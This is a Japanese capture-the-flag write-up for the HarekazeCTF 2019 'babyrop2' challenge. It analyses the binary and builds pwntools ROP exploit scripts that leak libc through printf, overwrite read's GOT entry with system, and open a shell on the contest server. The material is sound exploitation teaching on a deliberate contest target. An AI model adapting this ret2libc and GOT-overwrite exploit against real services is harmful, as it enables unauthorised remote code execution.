HarekazeCTF 2019「babyrop2 (200pts)」之解き方
はじめに
5月18日、 #HarekazeCTF に「NekochanNano!」の一員として参加させていただきました。最後に510ポイントを集めることが出来、私たちは523チームが参加する中、68位で終えました。
「babyrop」のライトアップも投稿してありますので、ぜひ前に読んできてくださいね!
babyrop2
プログラム解析
「babyrop」のときと同じように、接続できるIPアドレスとポート番号、そしてELFバイナリが手に入れます。加えて、今度はlibc.so.6
も渡されます。
いつもどおりに、checksec
でセキュリティ機構を確認します。
今回も、RELRO、Stack、そしてPIEが無い。Nice! !(^-^)!
またradare2
で開き、main関数の逆アセンブリを読んでいきましょう〜
画像が小さすぎるのであれば右クリックし、Ctrlまた⌘キーを押しながら「画像を表示」で開いてください。
一般のユーザが実行すれば、「babyrop」の動作と何が違うか見極められないけど、逆アセンブリを読めばその違いがよくわかりますね。また言葉で説明してみます。
- 在bss領域文字列を
edi
で指定、printf
でメッセージを出力する read
で、0x100バイトまで入力をスタック変数(rbp-0x20
)に読み込む- フォーマット形式と
rbp-0x20
を引数として用意、printf
で前の入力を含めたメッセージを表示する
「babyrop」に比べると、大きいな違いがありますね!「babyrop」と違って、system
や/bin/sh
がプログラムに含められていないのです。なので、ROPを行えば、system
にジャンプするために、呼び出す前にそのlibc以内のアドレスを計算することが必要となります。
printf
を使えば、GOT領域からある関数のlibcポインターをリークすることが出来るはずです。そうしたら、既に有しているlibc.so.6
を使い、system
関数とその関数の距離を計算することが出来ます。では、read
関数を狙おうと思います。
ROPでprintf
を呼び出せば、フォーマット形式をrdi
にし、引数をrsi
で示します。したがってpop rsi
とpop rdi
というガジェットが必要です。
良き。
pop_rdi = p64(0x400733) pop_rsi = p64(0x400731)
【注意】
pop rsi
の直後にpop r15
という命令があるので気をつけてください。このガジェットを利用するときに、r15
に保存されるための何かも必ず用意するように。
次にprint
のPLTアドレスとread
のGOTポインターを取りましょう。
plt_printf = p64(0x4004f0) got_read = p64(0x601020)
これで、printf
にジャンプすることが出来、利用した上、read
のGOTポインターをリーク、libc以内アドレスを掴むための準備が出来ました。
いまから試してみましょう。
#!/usr/bin/python2 # -*- coding: utf-8 -*- from pwn import * pop_rdi = p64(0x400733) pop_rsi = p64(0x400731) got_read = p64(0x601020) plt_printf = p64(0x4004f0) str_format = p64(0x400770) # ---- printf("%s", read@got) ---- payload = 'a' * 0x20 payload += 'b' * 8 # RBP payload += pop_rdi + str_format payload += pop_rsi + got_read + p64(0) payload += plt_printf # -------------------------------- sock = process(["./babyrop2"], env={"LD_PRELOAD":"./libc.so.6"}) sock.read() sock.sendline(payload) sock.readline() addr_read = u64(sock.readline()[-8:-2] + "\x00\x00") print("[*] readの位置をリークしました: %s" % hex(addr_read)) sock.close()
よし、成功! (≧∇≦)/!!
なう、objdump
を使い、リークしたreadと、system関数のベース位置を把握、距離を計算します。
よってreadのアドレスから0xb1ec0
を引いたらsystem
のアドレスになります。
addr_read = u64(sock.readline()[-8:-2] + "\x00\x00") print("[*] readの位置をリークしました: %s" % hex(addr_read)) addr_system = addr_read - 0xb1ec0 print("[*] systemの位置を計算しました: %s" % hex(addr_system))
最後のステップですが、計算したsystem
のアドレスをどうやってプログラムに入力するのでしょうか、どうやって実行するのでしょうか?
いま、実行できるのはprintf
、read
、setvbuf
とmain
だけです。この中から、任意ジャンプのために使えるものが2つ。どれなのかわかりますか?
→ printf
とread
です!printf
の場合、前みたいにFSBを発生させ、任意アドレスを上書きすることが可能です。そしてread
の場合、書き込み先のアドレスを引数として渡せばそれだけで任意書き込みができます。任意書き込みから任意ジャンプをどうやってするのかというなら、GOT領域のポインターを書き換え、繋がりの関数を呼び出すのが一つの方法です。
というわけで、次の作戦を考えました。read
を利用し、read
関数そのもののGOTポインターを上書きし、直後に文字列を同時に書き込むことにしようと思います。上書きの後、固定なGOT領域アドレスに保存した文字列をrdi
レジスタにし、再びread
を呼び出すことでsystem
を実行する、という作戦であります。
read
のGOTアドレスが既にわかりますので、最後の要する情報が、read
のPLTアドレスだけです。
ようやく準備がすべて整えました!!\(^o^)/
エクスプロイト作成
#!/usr/bin/python2 # -*- coding: utf-8 -*- from pwn import * pop_rdi = p64(0x400733) pop_rsi = p64(0x400731) got_read = p64(0x601020) plt_printf = p64(0x4004f0) str_format = p64(0x400770) # ---- printf("%s", read@got) ---- payload = 'a' * 0x20 payload += 'b' * 8 # RBP payload += pop_rdi + str_format payload += pop_rsi + got_read + p64(0) payload += plt_printf # -------------------------------- call_read = p64(0x400500) str_binsh = p64(0x601028) # got_readの直後 # ---- read(0, read@got, 0x100) ---- payload += pop_rdi + p64(0) payload += pop_rsi + got_read + p64(0) payload += call_read # ---------------------------------- # ---- system("/bin/sh") ----------- payload += pop_rdi + str_binsh payload += pop_rsi + p64(0) + p64(0) payload += call_read # ---------------------------------- # sock = process(["./babyrop2"], env={"LD_PRELOAD":"./libc.so.6"}) sock = remote("problem.harekaze.com", 20005) sock.read() print "[*] Payload size = %s" % hex(len(payload)) sock.sendline(payload) sock.readline() addr_read = u64(sock.readline()[-8:-2] + "\x00\x00") print("[*] readの位置をリークしました: %s" % hex(addr_read)) addr_system = addr_read - 0xb1ec0 print("[*] systemの位置を計算しました: %s" % hex(addr_system)) sock.sendline(p64(addr_system) + "/bin/sh\x00") sock.interactive() sock.close()
実行してシェル奪い!
今回は長かったのですが、最後まで読んで頂き、ありがとうございました!